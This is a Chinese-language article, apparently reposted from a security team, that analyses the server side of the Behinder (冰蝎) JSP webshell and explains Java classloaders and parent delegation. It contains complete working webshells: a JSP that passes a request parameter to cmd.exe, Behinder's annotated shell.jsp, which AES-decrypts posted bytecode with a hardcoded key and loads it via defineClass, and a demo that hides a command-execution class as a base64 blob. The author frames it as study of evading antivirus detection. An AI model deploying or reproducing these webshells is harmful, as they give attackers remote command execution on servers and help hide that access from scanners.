0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

冰蝎Java服务端解析

jf_vLt34KHi 来源:Tide安全团队 作者:Tide安全团队 2022-10-20 14:35 次阅读

冰蝎 Java服务端解析

前言

看了一段时间的webshell免杀,由于其他语言的webshell没啥基础,只对jsp的webshell和冰蝎简单分析了一下。完成了一个简化版的冰蝎Demo,主要是学习原理,分析的有不对的地方还请师傅们斧正。

冰蝎JSP服务端解析

在看冰蝎的shell.jsp之前先来回顾下Java最基础执行命令的实现。Java最常见的是通过Runtime.getRuntime().exec("cmd")来实现执行系统命令的,如下是一个Demo。 Runtime.getRuntime().exec()实现命令执行及输出:

importjava.io.BufferedReader;
importjava.io.IOException;
importjava.io.InputStream;
importjava.io.InputStreamReader;

publicclassCMDExecDemo{
publicstaticvoidmain(String[]args)throwsException{
Processprocess=Runtime.getRuntime().exec("ipconfig");
InputStreamprocessInput=process.getInputStream();
InputStreamReaderinputStreamReader=newInputStreamReader(processInput,"GBK");
BufferedReaderbufferedReader=newBufferedReader(inputStreamReader);
StringresLine;
while((resLine=bufferedReader.readLine())!=null){
System.out.println(resLine);
}
inputStreamReader.close();
processInput.close();
}
}
6ceb789e-4ba1-11ed-a3b6-dac502259ad0.png

JSP实现:

<%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"  %>
<%@page import="java.io.*" %>

<%
String os = System.getProperty("os.name").toLowerCase();
out.print(os);

String cmd = request.getParameter("cmd");
String line;
if (cmd != null){
    Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
    InputStream ins = p.getInputStream();
    InputStreamReader insr = new InputStreamReader(ins,"GBK");
    BufferedReader br = new BufferedReader(insr);
    out.print("
");
while((line=br.readLine())!=null){
out.print(line+"
");
}
out.print("
"); ins.close(); insr.close(); br.close(); p.getOutputStream().close(); } %>
6d1a8436-4ba1-11ed-a3b6-dac502259ad0.png

Behinder JSP Webshell不同于一般的一句话木马,作者通过自定义类加载器调用ClassLoader类defineClass方法让服务端有了动态解析字节码的能力,添加注释后的shell.jsp如下。

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
    //自定义类加载器
    class U extends ClassLoader{
        U(ClassLoader c){
            super(c);
        }
        public Class g(byte []b)
        {
            //调用父类defineClass方法
            return super.defineClass(b,0,b.length);
        }
    }
%>
<%
    if (request.getMethod().equals("POST")){
        String k="e45e329feb5d925b";
        session.putValue("u",k);
        Cipher c=Cipher.getInstance("AES");
        c.init(2,new SecretKeySpec(k.getBytes(),"AES"));



        //获取客户端数据
//        String line = request.getReader().readLine();
        //base64解码客户端数据
//        byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(line);
        //AES解密
//        byte[] b1 = c.doFinal(b);
        //调用父类defineClass方法,将传入数据还原为Class对象
//        U u = new U(this.getClass().getClassLoader());
//        Class clazz = u.g(b1);
        //实例化对象将输出写入pageContext
        //客户端传入的字节码指向的类中重写了equals方法传入pageContext对象,通过pageContext对象
        //可以间接操作response,将执行结果写入response返回给客户端
//        clazz.newInstance().equals(pageContext);
        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

关于自定义类加载器

Java执行代码的过程:程序员编写的Java代码通过编译器编译成字节码文件即.class文件之后交由ClassLoader加载至JVM中被执行。 JVM提供了三种类加载器: **Bootstrap classLoader:**主要负责加载核心的类库(java.lang.*等),构造ExtClassLoader和APPClassLoader。ExtClassLoader:主要负责加载jre/lib/ext目录下的一些扩展的jarAppClassLoader:主要负责加载应用程序的主函数类。 双亲委派机制: 当一个Hello.class这样的文件要被加载时。不考虑自定义类加载器,首先会在AppClassLoader中检查是否加载过,如果有那就无需再加载了。如果没有,那么会拿到父加载器,然后调用父加载器的loadClass方法。父类中同理也会先检查自己是否已经加载过,如果没有再往上。注意这个类似递归的过程,直到到达Bootstrap classLoader之前,都是在检查是否加载过,并不会选择自己去加载。直到BootstrapClassLoader,已经没有父加载器了,这时候开始考虑自己是否能加载了,如果自己无法加载,会下沉到子加载器去加载,一直到最底层,如果没有任何加载器能加载,就会抛出ClassNotFoundException。

6d75b716-4ba1-11ed-a3b6-dac502259ad0.png

ClassLoader中的三个关键方法: ClassLoader.loadClass():双亲委派机制的代码实现。

publicClassloadClass(Stringname)throwsClassNotFoundException{
returnloadClass(name,false);
}

protectedClassloadClass(Stringname,booleanresolve)
throwsClassNotFoundException
{
synchronized(getClassLoadingLock(name)){
//First,checkiftheclasshasalreadybeenloaded
Classc=findLoadedClass(name);
if(c==null){
longt0=System.nanoTime();
try{
if(parent!=null){
c=parent.loadClass(name,false);
}else{
c=findBootstrapClassOrNull(name);
}
}catch(ClassNotFoundExceptione){
//ClassNotFoundExceptionthrownifclassnotfound
//fromthenon-nullparentclassloader
}

if(c==null){
//Ifstillnotfound,theninvokefindClassinorder
//tofindtheclass.
longt1=System.nanoTime();
c=findClass(name);

//thisisthedefiningclassloader;recordthestats
sun.misc.PerfCounter.getParentDelegationTime().addTime(t1-t0);
sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
sun.misc.PerfCounter.getFindClasses().increment();
}
}
if(resolve){
resolveClass(c);
}
returnc;
}
}

ClassLoader.defineClass():将byte[]还原为Class对象。

protectedfinalClassdefineClass(Stringname,byte[]b,intoff,intlen,
ProtectionDomainprotectionDomain)
throwsClassFormatError
{
protectionDomain=preDefineClass(name,protectionDomain);
Stringsource=defineClassSourceLocation(protectionDomain);
Classc=defineClass1(name,b,off,len,protectionDomain,source);
postDefineClass(c,protectionDomain);
returnc;
}

ClassLoader.findClass():供自定义类加载器重写使用,配合defineClass方法实现自定义加载字节码。

protectedClassfindClass(Stringname)throwsClassNotFoundException{
thrownewClassNotFoundException(name);
}

实现自定义类加载器的步骤: 1、继承ClassLoader类 2、重写findClass方法 3、调用defineClass方法 Demo如下: hello.java

publicclasshello{
publicvoidprintHello(){
System.out.println("helloworld!");
}
}

customLoader.java

importjava.io.File;
importjava.io.FileInputStream;
importjava.lang.reflect.Method;

publicclasscustomLoaderextendsClassLoader{
privateStringclassPath;

publiccustomLoader(StringclassPath){
this.classPath=classPath;
}


@Override
protectedClassfindClass(Stringname)throwsClassNotFoundException{
byte[]bytes=newbyte[0];
try{
bytes=loadBytes(name);
}catch(Exceptione){
e.printStackTrace();
}
returnsuper.defineClass(bytes,0,bytes.length);
}

privatebyte[]loadBytes(StringclassName)throwsException{
FileInputStreamfileIns=newFileInputStream(classPath+File.separator+className.replace(".",File.separator).concat(".class"));
byte[]b=newbyte[fileIns.available()];
fileIns.read(b);
fileIns.close();
returnb;
}

publicstaticvoidmain(String[]args)throwsException{
customLoadercustomLoader=newcustomLoader("C:\Users\lixq\Desktop\loaderDemo\src\test\java");
ClassaClass=customLoader.loadClass("hello");
Objecto=aClass.newInstance();
Methodm=aClass.getMethod("printHello");
m.invoke(o);
}
}
6dd1f51c-4ba1-11ed-a3b6-dac502259ad0.png

有了以上基础,着手将一开始的CMD Webshell改为自定义类加载器方式执行: 相较于传统自定义类加载器的方式,冰蝎更直接地调用defineClass方法将编码后class文件还原为Class对象,参照冰蝎的方式可以依照如下步骤来实现CMD Webshell。 1、首先将CMD JSP Webshell编译为class,然后将class文件base64编码

6e0b2d32-4ba1-11ed-a3b6-dac502259ad0.pngimage.png

2、通过自定义类加载器将base64后class还原为Class对象并加载至jvm执行。

<%@ page import="java.util.Base64" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
    String cmd = request.getParameter("cmd");
    if (cmd != null){
        class U extends ClassLoader{
            public Class g(){
                String clsStr = "yv66vgAAADQAVAoAFgArBwAsCgACACsKAC0ALgcALwgAMAgAMQoALQAyCgAzADQHADUIADYKAAoANwcAOAoADQA5CgANADoKAAIAOwgAPAoAPQA+CgAKAD4KAAIAPwcAQAcAQQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEACkV4Y2VwdGlvbnMHAEIBAAdleGVjQ21kAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAA1TdGFja01hcFRhYmxlBwBABwAvBwAsBwBDBwBEBwA1BwA4AQAKU291cmNlRmlsZQEAFENNRF9SdW50aW1lRGVtby5qYXZhDAAXABgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARQwARgBHAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwASABJBwBDDABKAEsBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyAQADR0JLDAAXAEwBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyDAAXAE0MAE4ATwwAUABRAQABCgcARAwAUgAYDABTAE8BAA9DTURfUnVudGltZURlbW8BABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9Qcm9jZXNzAQATamF2YS9pby9JbnB1dFN0cmVhbQEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAFY2xvc2UBAAh0b1N0cmluZwAhABUAFgAAAAAAAwABABcAGAABABkAAAAdAAEAAQAAAAUqtwABsQAAAAEAGgAAAAYAAQAAAAYACQAbABwAAgAZAAAAGQAAAAEAAAABsQAAAAEAGgAAAAYAAQAAABIAHQAAAAQAAQAeAAEAHwAgAAIAGQAAAM4ABQAIAAAAaLsAAlm3AANNuAAEBr0ABVkDEgZTWQQSB1NZBStTtgAITi22AAk6BLsAClkZBBILtwAMOgW7AA1ZGQW3AA46BhkGtgAPWToHxgASLBkHtgAQEhG2ABBXp//pGQS2ABIZBbYAEyy2ABSwAAAAAgAaAAAAKgAKAAAAFAAIABUAIQAWACcAFwA0ABgAPwAaAEoAHABZAB4AXgAfAGMAIAAhAAAAJAAC/wA/AAcHACIHACMHACQHACUHACYHACcHACgAAPwAGQcAIwAdAAAABAABAB4AAQApAAAAAgAq";
                byte[] b = Base64.getDecoder().decode(clsStr);
                return super.defineClass(b,0,b.length);
            }
        }
        U  u = new U();
        Class clazz = u.g();
        Object obj = clazz.newInstance();
        Method m = clazz.getMethod("execCmd",String.class);
        String res = (String) m.invoke(obj,cmd);
        out.print(res);
    }
%>
6e450f2a-4ba1-11ed-a3b6-dac502259ad0.png

总结

简单分析了冰蝎Java服务端的实现,如果我们将固定的CMD_RuntimeDemo.class Base64编码后的字符串改为传递参数传递给服务端,那么服务端就可以解析我们传递的class字节码从而在服务端执行任意java代码,而这正是冰蝎客户端的核心思路。

审核编辑:汤梓红

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • JAVA
    +关注

    关注

    19

    文章

    2904

    浏览量

    103006
  • JSP
    JSP
    +关注

    关注

    0

    文章

    27

    浏览量

    10308
  • 服务端
    +关注

    关注

    0

    文章

    62

    浏览量

    6874

原文标题:参考

文章出处:【微信号:Tide安全团队,微信公众号:Tide安全团队】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    TCP服务端测试工具

    本帖最后由 小子个 于 2024-3-20 22:58 编辑 该TCP服务端工具可以理解为 “TCP服务端” 或者 “服务器” ,目的是帮助大家在没有服务器的情况下,完成客户
    发表于 06-29 09:22

    PLC从HTTP服务端获取JSON文件,解析数据到寄存器

    文件提交给HTTP的服务端服务端有返回的JSON,或者GET命令获取到的JSON,网关进行解析后将数据写入到PLC寄存器。 本文主要描述通过GET命令获取数据,解析到西门子PLC的
    发表于 01-24 09:47

    俩台电脑进行TCP连接时,服务端崩溃

    在同一台电脑上可以正常使用。俩台电脑之间就不行了。运行服务端和客户,几秒种后服务端就自行崩溃了。(不是停止运行,是整个labview崩溃)。XP和win7,WIN7和win7的都试过不行。想问问是怎么回事。
    发表于 10-28 22:52

    用于开发ModbusTCP服务端的DLL库文件

    本帖最后由 一只耳朵怪 于 2018-6-11 11:34 编辑 ModbusTCP服务端的开发包,根据该开发包可在Windows系统下快速实现服务端,建立数据仿真系统,为组态软件、触摸屏、PC高级语言等通讯等提供数据接口,也可实现系统本地数据交换;兼容x86/x6
    发表于 06-11 11:17

    服务端视角看高并发难题

    `所谓服务器大流量高并发指的是:在同时或极短时间内,有大量的请求到达服务端,每个请求都需要服务端耗费资源进行处理,并做出相应的反馈。 从服务端视角看高并发
    发表于 11-02 15:11

    TCP服务端的实现

    Swoole TCP服务端与客户 持续更新
    发表于 09-26 16:04

    那些年,我们见过的 Java 服务端“问题”

    一间房。是的,知识理论哪有什么精粗之分,只是人的认识程度不同而已。笔者在初创公司摸爬滚打数年,接触了各式各样的Java服务端架构,见得多了自然也就认识深了,就能分辨出各种方案的优劣了。这里,笔者总结
    发表于 10-12 15:12

    TCP通信时服务端如何接收客户的数据?

    毕设采用的是TCP协议,组员做的是下位机,C编程,WiFi模块工作处于客户。我负责上位机,Labview使用tcp协议时服务端怎么接收客户的数据呢? 我找到的例程都是服务端发、客户
    发表于 04-14 14:49

    PLC快速实现HTTP协议的POST请求,与服务端JSON格式双向通讯

    软件绑定JSON文件的字段与PLC寄存器地址,配置URL,选定周期模式或者触发模式,即可通过POST命令,将JSON文件提交给HTTP的服务端; 如果服务端有返回的JSON,网关进行解析后将数据写入到
    发表于 01-05 09:37

    监控系统客户服务端设计

    详情2.1.2 数据库接口及实现2.1.2.1 用户注册2.1.2.2 用户查询2.2 监控系统客户服务端设计2.2.1 `CS`模型2.2.2 功能2.2.2 服务机与客户机交互2.3 客户
    发表于 12-21 07:02

    鸿蒙DevEco是否需要申请权限才能连接上服务端

    MainAbilitySlice.java 文件中,创建子线程,子访问代码权限,连接我部署在服务器上的套接字服务端服务端没有被连接过,是否需要网络申请等?'''class login
    发表于 04-24 11:01

    ARM服务器准备如何解决服务端渲染的问题

    针对云手机、视频流云游戏行业,ARM服务器准备如何解决服务端渲染的问题?目前的状况了解,PCIE显卡对安卓游戏的支持还不够成熟
    发表于 09-13 14:58

    ESP32作为蓝牙服务端如何修改MTU?

    我们的工程把esp32当作蓝牙服务端让电脑去连,由于一些老电脑上没有蓝牙,要用外置蓝牙驱动,默认MTU只有23,但是说明上驱动是支持最大mtu的,所以有什么办法可以通过服务端去修改mtu吗
    发表于 03-08 08:35

    ESP32如何配置成收到服务端发送的数据就通过串口传出?

    使用AT固件 ,将模块配置为TCP Client模式。与服务端进行通信收发都正常。ESP32发送消息在两帧间隔>20ms后,服务端基本上能保持逐帧接收(2帧数据不会合为一帧)。而服务端每隔
    发表于 03-09 06:21

    ESP32如何配置成收到服务端发送的数据就通过串口传出?

    使用AT固件 ,将模块配置为TCP Client模式。与服务端进行通信收发都正常。ESP32发送消息在两帧间隔>20ms后,服务端基本上能保持逐帧接收(2帧数据不会合为一帧)。而服务端
    发表于 04-24 06:24